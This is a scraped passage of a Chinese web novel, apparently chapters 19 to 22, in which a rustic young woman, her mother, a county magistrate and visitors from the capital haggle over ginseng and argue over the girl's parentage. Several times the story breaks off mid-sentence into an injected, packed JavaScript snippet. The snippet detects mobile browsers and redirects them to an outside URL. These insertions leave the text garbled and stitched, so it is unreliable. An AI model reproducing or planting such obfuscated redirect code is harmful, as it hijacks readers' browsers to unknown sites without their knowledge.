“市场价,五十年左右的人参约一千两,你说,一半的话,六百如何?” “老夫虽然官职不高,半年俸禄才勉强跟上,但是年底调任会有一笔安家费,能接受赊账吗?” …… 看着作为一县之长的官老爷肖县令和自己讨价还价,宋锦嘴角一抽,只觉得一言难尽 “你可是县令大人啊” 肖县令摸了摸不存在的胡子,也有些唏嘘:“家里五个孩子呢” 存不下来钱的 当然,比起普通人他这日子已经好得不知道哪儿去了。大部分普通百姓,一家子一年开销也就那么十来二十两,他这已经很不错了 肖县令看得很开,就是囊中略微羞涩:“不然你给我算个息?就当我借贷一下,看在老熟人的份上再打个折” 不打折,便是按照现在的年低息二十分,他都不太还得起 宋锦深深沉默,再看看肖县令眼下的青黑忍不住感慨:“这年头县令也不好当啊” 肖县令心里苦:“谁说不是呢” 眼看着两人凑一起就快要吐槽起该死的工作了,肖县令可算是想起了旁边还站着个人,轻咳一声,为自己解释道 “家妻生老五的时候难产伤了根基,常年多病,需要各种珍药蕴养,所耗颇大” 不是他特意叫苦俸禄不够 当朝的俸禄比起前朝差距不大,但是迎官费和送官费高上不少,让官员调动之时不至于拮据,也能应对一些意外事情 本朝官员流动也比以往好上不少,让那些个地头蛇县府官没了机会 当然,此法有利有弊,全看人了 但是总体来说,新朝建立二十年,各方面都蓬勃发展,百姓日子也好了起来,一片国富民安之景 这一点,自小就跟着师傅闯荡江湖的齐铮见识不少,就是以前听着人说他很是感叹,现在听着肖县令吹,他还有些不好意思了起来 自家功劳,低调低调 齐铮心里思绪万千,脸上照样一片冷肃高深莫测之色,他点点头 “肖大人为民为国付出良多,等我回去一定如实禀告皇上,让他知道你的付出” “……” 别用这种表情说这种话啊,肖县令心肝儿抖了抖,他调任的事情是黄了还是黄了还是黄了呢 齐铮没想那么多,他是真觉得肖县令干得不错,这段时间一切亲力亲为,纵使有他在的缘故,但是光看周边人习以为常的样子,也知道肖县令平日便是如此 思及此处,齐铮想到出发前那不太熟的亲爹和他说的话,他顿了顿,在肖县令忐忑之下,说道 “这人参,便由我买了送给肖大人吧,这段时间辛苦了” 肖县令大惊,然后急忙摆手:“使不得使不得,这些都是卑职的本分,可使不得大人破费……” 眼看着到嘴的肉都快被他推走了,宋锦把人一推,再把人参往齐铮手里一塞,咧着大白牙 “给你友情价一千,这玩意儿年头好的时候一千三四也能卖” 齐铮自然是懂的,他以前就买过,直接给他多年存款清空,甚至还不得不去外面打工赚钱 但是现在,他被认回去之后,除了封地商铺庄园之外,还补齐了这二十年的俸禄,还有他娘的嫁妆 他现在富的有些过分,拿出一千俩,就跟拿个一百文似的,呼吸间两个人就完成了交易 宋锦:哦耶,帮着薅了朝廷的羊毛,一会儿就更好问事情了 齐铮:嗯,这是走之前他爹给他拿来打赏的钱,无所谓的 两个人一个面无表情,一个嘻嘻哈哈,但是眼眸却都漆黑幽深,对峙间,他们都能看到对方身上那股气 是高手 不过跟她/她没关系 眨眼间,两人思绪转过,又挪开眼睛,快得让肖县令还没反应过来,他就白得了一根人参 他震惊惶恐,然后热泪盈眶,激动得跪地就冲着都城方向叩拜 “吾皇万岁万岁万万岁,微臣日后必当竭尽全力,继续为皇分忧,让百姓日子过好……” 肖县令这突来的动作,搞得宋锦和齐铮同同时后退两步,你看我我看你,眼中带着同样的震惊和尴尬 宋锦轻咳一声,装模作样跟着:“皇上真是个大好人,大明君,碰上他是我们的福气” 她是莽不是蠢,这个皇权为上的时代,皇帝就是一切,背地里怎样不说,明面上肯定得拥护的 而他也确实是个明君,真要是碰上前朝那种天天选秀的昏君,宋锦觉得她和她老娘只有进山当野人去了 齐铮也不习惯这种场面,但是不说点什么也不好。于是,他顶着一张没有表情的脸,跟着嗯了一声 真是毫无诚意 是王爷就是了不起 确实很了不起 宋锦撇了撇嘴,抱着手看和那边肖县令没完没了,突然,她眼眸一转,眉眼张扬几分,凑到齐铮跟前,拉长声音 “齐大人,我这里还有一只私藏的百年人参” 那边诚恳跪拜的肖县令狼狈爬起,捂着差点闪了的腰 “使不得,这个真使不得啊,宋锦你个丫头没完没了了是吧?” 宋锦撇嘴:“您才是想太多呢,这百年人参可是好东西,关键时候能救命的玩意儿,我这么多年也就这么一个。咱们县里小找不到几个买家,我这不想着齐大人豪气,更能吃得下,我还能送个人情” 肖县令忍不住瞪她,这人情是这么大大咧咧说出来的吗?真是让人操心不完 他赶紧道:“齐大人莫怪,她这孩子从小直来直往惯了,说话多有冒犯之意,你别和她一般计较” 齐铮嗯了一声,锤子身侧的手指微动:“多少银两?” “齐大人大气”顶着肖县令恨铁不成钢的目光,宋锦嘿嘿一笑,比了一根手指 “百年人参有价无市,真需要的时候,便是几万两银子也值,就是最少最少,也没听过少于这个数的” 一万两银子对于普通人来说是天价,但是对于这些个世家子弟皇室子弟来说不过洒洒水,毕竟他们经常为了所谓的古画古董都能一掷千金,更别说是救命良药了 这年头物资是丰富,深山里老参很多,但是一般人根本进不去,不说那些猛兽毒虫,便是悬崖陡坡一般人都只能干愣着 宋锦觉得自己很良心了,她这人参是正儿八经的百年老参,一百出头不少那种,要不是想拉拉关系,她真对这万儿八千的银子没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行行行,明天就明天”宋锦没好气地摆了摆手,随即眼眸一转,她咧牙道,“但是,你得给我出个路费吧?我家骡子跑来回还得吃料呢” 齐铮瞥她这一副市侩市井样,可以想象等到都城的人看到她会如何大惊失色了 他道:“我和你一起回去吧” 宋锦瞬间警惕起来:“你干嘛?我和你说,我家可没有多余的了” 再有也不能是这种白菜价,管他王爷不王爷,反正只要他不主动承认,他就是京都来的官员,对她影响不大 齐铮基本确定那日在屋外偷听,并且给宋行之一顿揍的人是她了,不过和他关系不大,他就当做不知道 只不过今日确实占了人小姑娘的便宜,他提醒道:“一个就够了,只是我同行的宋大人去你们那了,我刚好找他有事,便一起吧” “该死的蠢货”宋锦脸色一变,下意识低咒一声,飞快地就跑了 齐铮肖县令:…… 他们什么也没听到 20. 第 20 章 宋锦飞速朝着家里回去 一想到那个浑身写满不靠谱的浪荡子单独找上她娘,她便急得不行 即便那人上次的态度有异,但是到底是不像个好东西,而林镇长看着有模有样,却是个不折不扣的墙头草,真出什么事,那是一点靠不住的 但是,任她想飞速回去,坐骑还是飞不动 哒哒哒哒 哒哒哒哒 小黑已经非常努力地跑在路上,看起来有模有样,但是只能远远看着前方骏马的屁股 简直是奇耻大辱 小黑哼哧哼哧摇摇脑袋,又开始放起了屁,表达自己的不满 宋锦一巴掌拍它脑袋上,咬牙切齿道:“……成事不足败事有余的玩意儿,你冲我闹什么,又不是我叫他一起的” 前方,高大的黑色汗血宝马悠悠闲闲地跑着,四肢修长有力,浑身线条流畅,随着走动甩着尾鬓 宝马之上,齐铮一袭黑色长袍低调沉肃,飘动的缎面上银质闪动,又彰显奢华。他坐在那儿,高大的身形挺拔,轻松地拉着缰绳,自带一股潇洒恣意 齐铮微微侧头,目光落在宋锦骑着的小黑身上,看着它因为追不上而生气的倔样,眼中带着欣赏 “这骡子真好” 骡子耐力强力气大,山路泥路水路路路都行,而小黑更是骡中之骡,即便是外行也能一眼看出它的好 对着他的赞赏,宋锦一时猜不准这人是真心还是嘲讽,但是,她抬起下巴,骄傲道 “自然,我家小黑的爹也是汗血宝马呢,当初文渊书院老院长回京,上面特意派来接的,糟蹋了呃和小黑娘在一起了,说不好还是你这匹马的爷爷呢” “……” 齐铮肯定这人是在讽刺他,他瞥了瞥她张扬的眉眼,没和她计较这个,继续说道 “我以前也养了一匹骡子,没有你这匹跑得快,不过很能抗东西,陪着我走南闯北” 宋锦来了兴趣,这人不是王爷吗?王爷也骑骡子闯南北?吹牛的吧 她撇嘴:“说得好听,那你现在还不是骑宝马,你那骡子早就不知道扔哪儿去了。” 说完,她就见着齐铮的眉眼暗了下去,低沉的声音在飘在呼气的风中 “死了,被人宰了吃了” 宋锦还以为自己听错了,愣了一下,再看向齐铮静静的眉眼,意识到自己戳人伤口了,有些心虚了起来,磕磕巴巴 “那,那你替它报仇了吗?” 再想想这人可是王爷,宋锦立马就不知道自己是该心疼那骡子还是那杀骡的了 齐铮停顿了好一会儿:“没,都是些快饿死的难民” 换位思考自家小黑,宋锦已经能想象当时的画面和心情了 这要是心怀歹意之辈,那还能把人打个半死折磨一番出气,全是些走投无路的人 宋锦想到了什么,凤眸骤然闪了起来,拉拉缰绳艰难追上了那黑色宝马,一骡一马并行 她眉飞色舞道:“我之前看的话本也有这种事,那主角气急攻心恨不得杀了那些人,最后还是忍了下去,把骡肉分给他们。骡子已逝,总不能白死吧?这救了几条人命,也是功德一件,指不定它下辈子能投胎做人呢” 齐铮侧脸:“是吗?” 宋锦信誓旦旦:“肯定是啊,做骡肯定没有做人好,骡没了,我们总得往好点想。而且吧,我看那话本里,那主角就是把骡肉分了,又带着他们逃到安全地方” 齐铮目光落在她的脸上,那种幸灾乐祸的神情藏都藏不住。纵使已经知道后面剧情的,他还是不禁期待了两分 他问:“然后呢?” 宋锦嘿嘿一笑,重重地拍了拍手,很是痛快道:“他把那些人头发剃光送到庙里,还给庙里放了钱,给骡子塑了像,让他们看着那群人定时祭拜,等什么时候头发长好了什么时候才能出门” 这招可真损啊 要知道这年头讲究身体发肤受之父母,不管男女都重视头发,全都是长发飘飘,但凡短到肩膀都是异类,更别说光头了 反正长到能出门,那怎么也得一两年 这些时间里他们就天天跟着寺庙和尚诵经礼佛,干活吃素,一般人真受不了这个苦 但是没办法,杀骡还钱天经地义 是过一年清苦日子以后骡了债消,还是抵死不从,偿还巨额债务——要知道这年头年息五成都是良心贷了 正常人都知道怎么选,不正常的,那也不需要用正常手段了 宋锦越想越觉得痛快,笑得不行:“你当时就该这么干的,欠债还钱天经地义,他们欠的是命,怎么都不过” 齐铮也是这么觉得的,那骡子从他六岁一直跟着他,和他的亲人差不多,纵使年纪大了早晚会死,也不该是如此惨状 但是,人言可畏,他这般报复,放外人眼里便是心胸狭窄,没有半点江湖气节 放读书人嘴里也得说两句鼠肚鸡肠,直性狭中 齐铮看着拍手叫好的宋锦,心里多了些愉悦,他问道:“不觉得那些难民可怜吗?他们也不过是为了活路” 宋锦挑眉:“可怜是可怜,但是总不能可怜就为所欲为吧?这别说杀骡子吃了,就是偷的时候被抓到打死的都有。再说了,他们有吃有喝有住处,谁家逃荒的人有这个待遇啊……” 这好听话谁都会说,那也是没轮到自己啊 真让人出狠手段,要么就人狠,要么,就真的重要呢 宋锦说话向来直来直往,虽然说齐铮是王爷,但是他一没有主动说,二他过段时间就走了,一个身份贵重的过客罢了,她也不用在意太多 她笑:“我这人就是心胸狭窄睚眦必报,管他外人说什么,我开心就好。人嘛,也就活这一辈,总顾虑太多可没有意思。当然,我就一乡下村姑,说的傻话大人笑笑就行了,别放在心上” 宋锦五官浓艳,一双凤眼明亮,坐在骡背上笑得恣意张扬,让人看着都无端心情一松,跟着自由两分 齐铮挪回了眼:“很通透,走吧” 骑在骡背上的宋锦:…… 走什么走?她不是在走是在爬吗? ** 马儿哒哒哒 骡儿哒、哒哒 小黑那超遍全骡的速度,比起最顶级的汗血宝马还是有些差距,但是总的来说也不慢 宋锦他们回到林溪镇的时候,日头还在天上挂着,书院里依旧朗朗书声 院试已经结束,要不了多久便出成绩了,书院学习氛围就更浓烈了 反正就是院试读,乡试读,会试读天天读,考秀才就好了,考举人就好了,考贡生就好了…… 都是套路 宋锦摇着脑袋,啧啧路过,光看那神情就不是爱读书的人 齐铮默 这真是一个什么都写脸上的人,远远一瞥会觉得她和宋商很是相似,真相处一会儿,真的很难把两人凑一起 除了脸没一点儿像的 宋锦没注意他不着痕迹的打量,她的目光落在书院前边路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋行之差点被茶水呛住,险险稳住,控制住脸上的震惊,端着风度翩翩的样,问:“晚上?明天?她一个姑娘家干什么呢?” 林镇长:“一般来说是打猎,她身手好,又被猎户学了一手,经常上山打猎,给镇子提供不少肉源” 尤其是野猪这些,虽然难吃,也是肉,而且多打一点野兽,它们才不会泛滥往山下伤人 综上,打猎其实是件好事,但听在宋行之耳边 ‘在山里厮混’‘野丫头’‘不成体统’…… 虽然之前就知道宋锦是个浑的,但是当陌生人听和当亲人听是截然不同的 他眼前一黑,艰难咽下茶水,好不容易安慰好自己以后能改能改 林镇长又道:“不然就是出去收拾人去了,谁家白天惹了他们母女俩的,晚上就做好心理准备吧,鼻青脸肿都是小事,就怕房子给掀了,鸡鸭被宰了……” 所以母女俩这些年干了不少好事,在镇上依旧毁誉参半闲话一堆,就是因为这 林镇长说着是想劝退宋行之的心思,就又给他补充了一些之前没说的细节,比如说谁家二流子被剃了胡头,谁家被拔了胡子,谁谁谁被蜜蜂蛰成胖子…… 宋行之听着,不由摸了摸自己青紫的嘴角,想到了自己逝去的小金,立马悲从心来,想要打断他戳心窝的话 外面传来哒哒哒的踏马声 林镇长:“哎,应该是金金回来了,镇上也就她家小黑跑这么响” 宋行之:“金金?什么金金?” 林镇长感叹:“就是宋锦,她小名就是金金,也叫小金,多喜庆的名字啊,当年叫牛金金多好” 宋行之:“……” 21. 第 21 章 “娘,阿娘,娘亲……” 宋锦骑着骡子到了门口,都等不及里面开门,直接踩着小黑的背就翻到墙上,坐在墙头喊着在家娘亲,直到角落里传来自己娘亲熟悉的怒骂声 “小混球,大白天的爬你娘的墙,不知道敲门吗?” 宋锦笑了一声,通过声音定位,单手撑着从墙上翻身下去,三两下就跑到了那边 牛铁兰站在花丛里,即便戴着斗笠,穿着粗布麻衣,拿着把小锄头,依旧难以掩盖她窈窈身姿,就像是那成了精的花妖,在光影下美得像一幅画——前提是不见到自家那窜天猴一样的闺女 她一听到那声音就扔下了锄头,双手往腰上一插,苍白的脸色都气得多了些血色:“宋锦你个小混球,又给老娘惹事,我看你是嫌老娘命太长,想气死我下去和你爹团聚是吧?” “呸呸呸,童言无忌,多大的人了可不许说这种晦气话”宋锦嬉皮笑脸地跑了过来,在牛铁兰的怒目下,停下了即将糟蹋花园的脚,在那里插科打诨 “我那死鬼爹在底下指不定早就左拥右抱了,哪里还需要您啊,您就跟我好好过得来,别一天天想东想西” 牛铁兰气急,用眼神狠狠剜她:“死丫头说话没大没小的,给我站好了!” 见她认真几分,宋锦也老实起来,乖乖听她说 牛铁兰:“给我好好说,你这次又为什么揍人” 宋锦下意识:“哪一个?” 牛铁兰深呼吸,见她一副真的没想起的模样,在心里告诫自己亲生的亲生的,只有这一个,她忍 无可忍 她怒:“你说哪一个?那都城来的,一看就惹不起的。宋锦啊宋锦,你是脑袋被门夹了还是被猪撞了?那是我们惹得起的人吗?你当你娘是铁做的,还是你是石头变的,随便怎么造都没事……” 见她暴怒,宋锦缩了缩脖子,神态虽然怂,但是撇着的嘴依旧倔强,再给她一次机会,她照样会给人来一顿 什么人啊,也不撒泡尿照照镜子,也敢肖想她娘,臭不要脸的,没打断他三条腿都是她有分寸了,再说了 宋锦抬起头理直气壮:“谁给你说是我揍的人了?证据呢?” 别说那人那天的注意力根本不在挨揍上,就算是,他们也没证据——那能做证据的烤蜜蜂香着咧,可惜没吃到 宋锦想想还有些遗憾 牛铁兰多了解自家闺女啊,一见这模样就知道铁定是她干的好事,虽然事情气人,但是没有证据的话,她眉眼顺了一些,迟疑道 “你确定?” 宋锦拍胸口保证:“确定” 她这人虽然做事莽撞还不太讲理,但是扫尾确实很有一手,这么多年下来,除了她故意,其余时候没人逮到过她。 因此,纵使大家知道是她干的,但拿不出证据,再加上理没那么直,也只能忍着 所以牛铁兰也不怀疑宋锦的实力,转而更疑虑了:“那他来干什么?” 宋锦倒是有所猜测,想必就是和自己这张脸有关系。但是,要是故人的话,她娘怎么会没一点想法?要说不熟,她娘上次又提醒着 宋锦搞不明白,抓着自己的头发,好奇又疑惑地打量着自家老娘 作为一个村姑的话,一般就算是天生白皮,但是常年地里晒着,总会粗糙黑黄一些,身段也会结实一些。但是牛铁兰不一样,她肌肤细腻如雪、身姿轻薄窈窈,整个人柔软似水 别说乡下,就是县城,甚至府城,宋锦也没见过身形气质比她娘更好的 但是要说牛铁兰是离家出走的大家小姐,她又真不识什么字,画的画宋锦昧着良心都夸不出来,平时说话也并不比村子里的人好听多少 什么风雅恬淡全是假象,内里空落落的,只有赚钱的胭脂水粉是正经的 搞不懂,真的搞不太懂 不过宋锦可以肯定的是,她娘肯定是个很有故事的人,就是不知道从哪里打开——不知道这次能不能翻开一点 宋锦揪着头发,一双凤眼亮晶晶地盯着牛铁兰,盯得人不由后退两步,她清清嗓子:“他来干什么,这就得问问娘你了” 牛铁兰听得一脸懵:“我?” 宋锦点点头,指着自己的脸,刚想问起自己多年的疑惑,外面突然传来的敲门声,紧接着是林镇长的喊声 “宋锦,铁兰,快出来,找你们有事” 宋锦撇了撇嘴,把到嘴的话咽了下去,在牛铁兰不解的目光下,再次强调了句:“反正这事和我没关系” 说完,她就跑去开了门 门外,磕掺的林镇长站在最前方,后面跟着是脸青紫但是轮廓依旧好看的宋行之,再后面是身形高大端如青竹叶的齐铮 三个人站在一起就跟川似的 宋锦噗了一下,双手往胸前一抱,斜靠在门框边,脚踩着对面的门上直接拦住,俯视三人,似笑非笑:“哟,镇长大人啊,这又是什么事?” 林镇长一看到她的笑,就想起了这家那年垮掉的房子,忍不住后退一步,讪讪道:“大好事” 宋行之则下意识摸摸嘴角,紧接着目光落在了宋锦那披散的头发和踩门的长腿,痛心疾首:“有辱斯文啊,姑娘家家的……” 宋锦就跟没听到他的屁话一般,看向最后一位 齐铮静静地看着她,提醒:“东西” 三个人里也就只有他还是正经事了,宋锦啧了一下,放下腿,转过身子便大摇大摆往里走,没两下就走没了影子 后面的人:…… 好在还有牛铁兰在家,她在后院整理好了衣服,施施然走了出来,逆光之下,皮肤白腻得散着光,一举一动夺人眼光 但这一次,只一眼宋行之便挪开了目光,轻抚着胸口痛心疾首 他为了他爹,真是付出了太多了,等回去他爹可不能再揍他了 宋行之行礼:“牛夫人有礼了” 牛铁兰停顿了下来,再往后小挪两步,回了个乱七八糟的礼:“宋大人,让您久等了,之前多有失礼,希望您别介意” 不等宋行之说话,回房间取了东西的宋锦又窜了出来,替他道:“娘你一个人在家,他一大男人跑过来打扰,要是这都介意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林镇长也不介意,这美人儿嘛,生气都是赏心悦目的,他看了眼宋行之,见他没有反对之意,笑得更是像朵老菊花,乐呵呵的 “这宋公子啊,打算向你家宋锦提亲呢” “噗” 平日最注意形象的宋行之一口茶喷了出来,他脸色巨变,震惊中下声音都变了:“我不是我没有,林镇长你在胡说八道什么!!!” 林镇长茫然:“啊,不是这个吗?那,那是求娶铁兰?” 宋行之更是惊悚:“你疯了吧?” 这是要他死还是要他死呢,和他爹抢人 林镇长继续茫然,他想都城来的人就是不一样,胆子就是大,这也不是那也不是,他总不能想母女同娶吧? 不过这次不等他胡说八道,宋锦毫不客气地把这死老头‘请’出家门,转头掰着手腕,杀气腾腾地看着宋行之 宋行之嘴角隐隐又疼了起来,为了避免二次受伤,他挣扎一瞬,弯腰拱手,冲着牛铁兰正经又严肃道:“牛夫人切莫听他胡言乱语,在下此次前来只为拜见,在下宋行之,家父,宋商” 听到这个名字,牛铁兰有瞬间的怔愣,美目流转,眉头轻蹙,声音轻轻 “宋商?” 22. 第 22 章 宋商是谁? 那是与当今一起推翻前朝荒政,又肃清反党,手握权柄超越20年,在朝堂上一人之下万人之上的 宋首辅,也是赫赫有名的大奸臣 他弑父弑亲,谋害同僚,陷害王亲,泯灭良心,心狠手辣…… 在这个很多人甚至连皇帝都不知道叫什么的时候,他的名字甚至止小儿哭啼,少有人不知 但是,也总有人是不知道的 “宋商是谁?有点耳熟啊” 牛铁兰在嘴边轻喃这个名字,一双美目迷茫,疑惑地看着难得正经的宋行之,再瞅瞅自家闺女,想得到提示 “……” 还以为能掀开一页她老娘故事书的宋锦扶额,走过去她耳边悄悄提醒:“就是那个大奸臣首辅” 牛铁兰想起来了,恍然道:“原来是他啊” 不怪她想不起来,虽然外面宋商讨论度很高,但是那也是县里面,她基本都在镇子里面走动,甚至很少出家门,只偶尔听自家闺女八卦——用的也是奸臣的称号 这么一提醒,牛铁兰是恍然大悟了,对面的宋行之心塞了 别以为说的小声他就听不到了 宋行之弓着腰,再次强调名字:“家父宋商” 宋商,听到没有,他爹是这位,就不觉得熟悉吗! 牛铁兰还是有些疑惑地看着她,思索了片刻,犹豫道:“失敬失敬?” 这来头有点大啊 她反应过来,赶紧给宋锦使眼色,确定没留下证据吗?万一给她们母女俩一起分尸了咋搞啊 宋锦抓头发 成,她懂了 宋锦装模作样地行了个礼,就当不知道他的来意一般:“咳,你好你好,没想到原来是宋大人家的公子啊,这么大人物来咱家,真是蓬荜生辉蓬荜生辉” 宋行之这下真的心塞了,但是他很快又收拾好心情,重新问道:“在下此次贸然拜访,希望夫人莫怪” 牛铁兰吓得往旁边一挪,躲开他的礼:“不敢不敢,你快坐,先坐,坐坐坐” 宋行之看在眼里,梗在心里,面上笑笑,问:“夫人也坐,在下前来,是听说你是从云县来的,想到曾经的故人,边想找你打听一番” 牛铁兰愣了一下,脸上闪过几分不自然,有些勉强道:“这样啊,但是我以前也少出门,除了夫君不认识几个外人,怕是要让大人白跑一趟了” “无事,只是图个心安”宋行之不甚在意地笑了笑,眼眸光一转,就道 “那人正好是你们那儿的钱庄的账房,今年应该四十有一,叫罗状一,我以前和他一起吃过酒,他当时说他家母身体不好,我当时有事没有拜访,每每想起还有些遗憾,不知道是否好了” 他一开口,宋锦眉头就是一跳 这话里的陷阱可太多了 她之前是知道,这人身份不简单,既然怀疑了肯定会有行动,她们母女俩除了等着干不了,不然总不能什么都还不清楚就直接跑路吧? 至于为什么不和牛铁兰说,一个是她也不确定宋行之会干什么,二是就算知道他们特没法,与其她娘跟着一起担心,不如走一步算一步,能糊弄就糊弄过去,实在糊弄不过去再跑路也行 但是,背地里查就算了,当面糊弄她娘,宋锦眉头一横,直接道:“这边离云县可不远,这么遗憾你自己不去探望,跑这里来问,可见感情也不深” 正不知道该怎么回答的牛铁兰跟着点头,蹙着眉:“正是这般,我身子骨一向不好,常年不出门,对外面不太了解,又离开这么久了,大人不如过去看看罢了” 说完,宋锦闭眼 完蛋 果不其然,一听这话,本来被宋锦梗住的宋行之笑了起来,挥挥扇子,道:“你们说得对,等我办完这边的事便过去探访一下,不过” 牛铁兰瞥见自家闺女的脸色,心中不太妙了起来:“不过什么?” 宋行之:“不过,这罗状一乃宋明理的结拜兄弟,与夫人也算是自小相识,夫人这说起来怎会不相识呢?” 牛铁兰僵住 宋行之又悠悠哉哉喝了杯水,又笑道:“宋明理和妻子牛铁兰自幼相识,但其父母嫌弃她铁匠家出生,又克死爹娘,不愿意这婚事,奈何爱子坚持,最后只得同意。婚后夫妻俩恩恩爱爱,可惜三年无子,父母又逼迫纳妾,夫妻俩以游学为由外出,不料遇到山匪,宋明理当场去世,留下牛铁兰和腹中胎儿” “够了”宋锦冷下了了脸,心疼地拍拍自家娘亲的肩膀,冲着宋行之怒目而视:“有什么事直接说,别在这里说屁话” “……斯文,你说话斯文一点”宋行之摇摇头叹气,他看着对面牛铁兰明显白下来的脸,也有些怜香惜玉,不忍过多苛责 他便道:“夫人莫怪,这年头有太多身不由己之事,我此番前来也不为您身份,只为宋锦” 牛铁兰那小小的巴掌脸很快白了下来,一双明亮的眸子黯了下来,却没有半点所谓的畏惧,她直接伸出手:“你拷了我吧,我这辈子,能活到现在已经够本了,祸不及孩子,她什么都不知道” 宋行之没想到她会是这个反应,愣了一下 一直面无表情坐在一边跟个透明人似的齐铮微微抬眸,看了眼靠在桌边瞬间变脸的宋锦,不着痕迹地按住桌子,缓缓开口,打破僵持的局面 他问:“夫人,可否回我两问” 牛铁兰转头看向这个一直没怎么注意的人,如果是之前的话,她只会觉得巧合,但是现在,宋行之是当朝首辅的儿子,这人更是让他礼敬几分,又姓齐,身份不言而喻 她咬牙,轻轻拉住一旁的宋锦免得她冲动,冲人点了点头:“你问” 齐铮:“宋明理夫妻之死是否与你有关?” 牛铁兰愣了愣,飞快摇头:“这怎么可能?我只恨当时去晚了,不然还能救下他们” 齐铮点头,又问:“你是否盗走宋家重要财产?” 牛铁兰蹙眉:“我走的时候,带走了他们旧日常用的衣物书籍首饰,都在屋子里” 齐铮漆黑的眸子松动几分,他颔首,道:“虽然同名同姓,但你一没谋害恶人,二没仗其名号为非作歹,不过是为生活所迫,此后将东西兑成银两还回去,此事便不算什么” 他一个大男人行走江湖那么多年,都不知道编了多少身份,这种事正常得很,不算什么 牛铁兰一个弱女子,一不害命,二不骗财,编点假身份更合理了,至于再多了,前朝纷乱,她一个容貌如此出色的女子,有些事情就没必要弄那么清楚了 如果是以前的严铮,他说的话就只是话而已,但是轮到齐铮了,那就是金口玉言,说了,那就是了 牛铁兰怔怔地看着这个绷着脸的少年人,眼眸逐渐湿润,很快就染上峰回路转的喜意,她惊喜:“真的?” 齐铮道,“自然,此事甚小,夫人不用担心” 有他再三保证,牛铁兰有了底气,她突然站了起来,冲着之前威胁她的宋行之气势汹汹:“听到了吗?人王爷都说这不算什么了,你个大奸臣的儿子小奸臣别想威胁我,像你这种浪荡子,我家金金就是一辈子不嫁也不可能嫁给你” “……” 宋行之忍不住看向宋锦,看着她那张和宋商极其相似的脸,光看着就胃疼,他伸手捂了捂胃,神情虚弱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15080523|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分,有气无力道:“我喜欢温柔小意脾气好的女子” 一句话,牛铁兰竟无从反驳,瞅瞅自家牛高马大一脚能踹飞野猪的女儿,没什么底气道:“那你到底过来干什么?” 反正是没往自己身上想的 不是她迟钝,而是她今年,已经三十四了,在这个年头,真不是个小年纪了,而宋行之一看才二十来岁,他们差辈咧 牛铁兰只能往宋锦身上想了,虽然这闺女脾气是个狗脾气,但是长相身段真不是一般人能比得,被看上一点儿也不奇怪,再加上宋行之也说了是为她而来 不知道是不是被揭了老底的因素,牛铁兰心里隐隐不适,像是被什么穿过一般,她压下那股异样感,语气烦躁 “你到底是不是男人,有什么直接说不行?” 宋行之心头中了一箭,但是都被说到这份上了,他也不绕弯子了,沉默之后站了起来,道:“宋锦是我爹的孩子” ?? 牛铁兰怒:“放你娘的狗屁,她是老娘的孩子” 她这个样子就一点儿也不柔美了,宋行之总算是明白宋锦为什么现在这个样子了,感情还是家学渊源 他扯扯嘴皮:“她是你亲生的?” 牛铁兰恼:“不然是你爹生的?” 宋行之:“……也可以这么说,她和我爹长得一模一样” 牛铁兰更觉好笑了:“天下人千千万,相似就是亲生的了,我看你就是想强抢民女,求王爷给我做主” 宋行之头疼,强调:“一模一样” 牛铁兰:“你说一样就一样了?再说了,就是一样,我这个亲娘都不一样,凭什么爹就一样?” 两个人对峙起来,宋行之头疼之余,委婉道:“你再想想,孩子的父亲有没有可能就是我爹” 牛铁兰冷笑:“那你说你娘有没有可能是我?” 宋行之也有些恼了:“我娘我能确定,孩子爹你能” 不等他说完,那早就摇摇欲坠的桌面四分五裂,直直砸向宋行之,带着人狠狠砸在地面,猩红的鲜血撒在地面 齐铮稳稳坐在位置上,手依旧平放在桌面的位置上,他侧眸,视线略过脸色刹白的牛铁兰,静静落在后方杀气沉沉的宋锦脸上 他倏地起身,高大的身影站在路前,径直地挡住人,侧手按住她的左肩,漆黑的眸子静静地看着她。他身形高大,肩背宽阔,亮泽的乌发顺着脖颈落下,刚好够在手间,带着清冽的竹叶气息,又染着两分檀香,像是宋锦经常去的深林气味 宋锦抬眸,清丽的脸庞一片肃杀之气,不再有半分嬉笑之色,她道:“让开” 齐铮没说话,抬头越过她,面向后面呼吸逐渐急促的牛铁兰,视线从她敞露在外的锁骨一扫而过,低声:“你该带她去寻个医” 牛铁兰被气得头疼,捂着刺痛的胸口,压着急促的呼吸,咬着牙:“不需要,我好得很,不管你们是什么首辅还是宰相,都跟我们母女俩没有半点关系,我们也不稀罕,你们走” “金金让开,让他们走” 宋锦凤眸落在那边失去意识的宋行之身上,眼里依旧杀气腾腾,但是在牛铁兰的话下,还是不情不愿地退开身子,一张脸沉得不行 齐铮冲着母女俩颔首:“宋首辅在外敌对众多,其中不乏不择手段之辈,望二位保重” 说完,他过去扶起被震晕的人,轻松将人往肩上一抗,大步朝外,就在他即将走到门口的时候 牛铁兰没什么情绪的声音传来:“我过往虽然不堪,但是不至于连孩子父亲都不清楚,他绝无可能是那宋商,他姓曲,名茂泽,当年 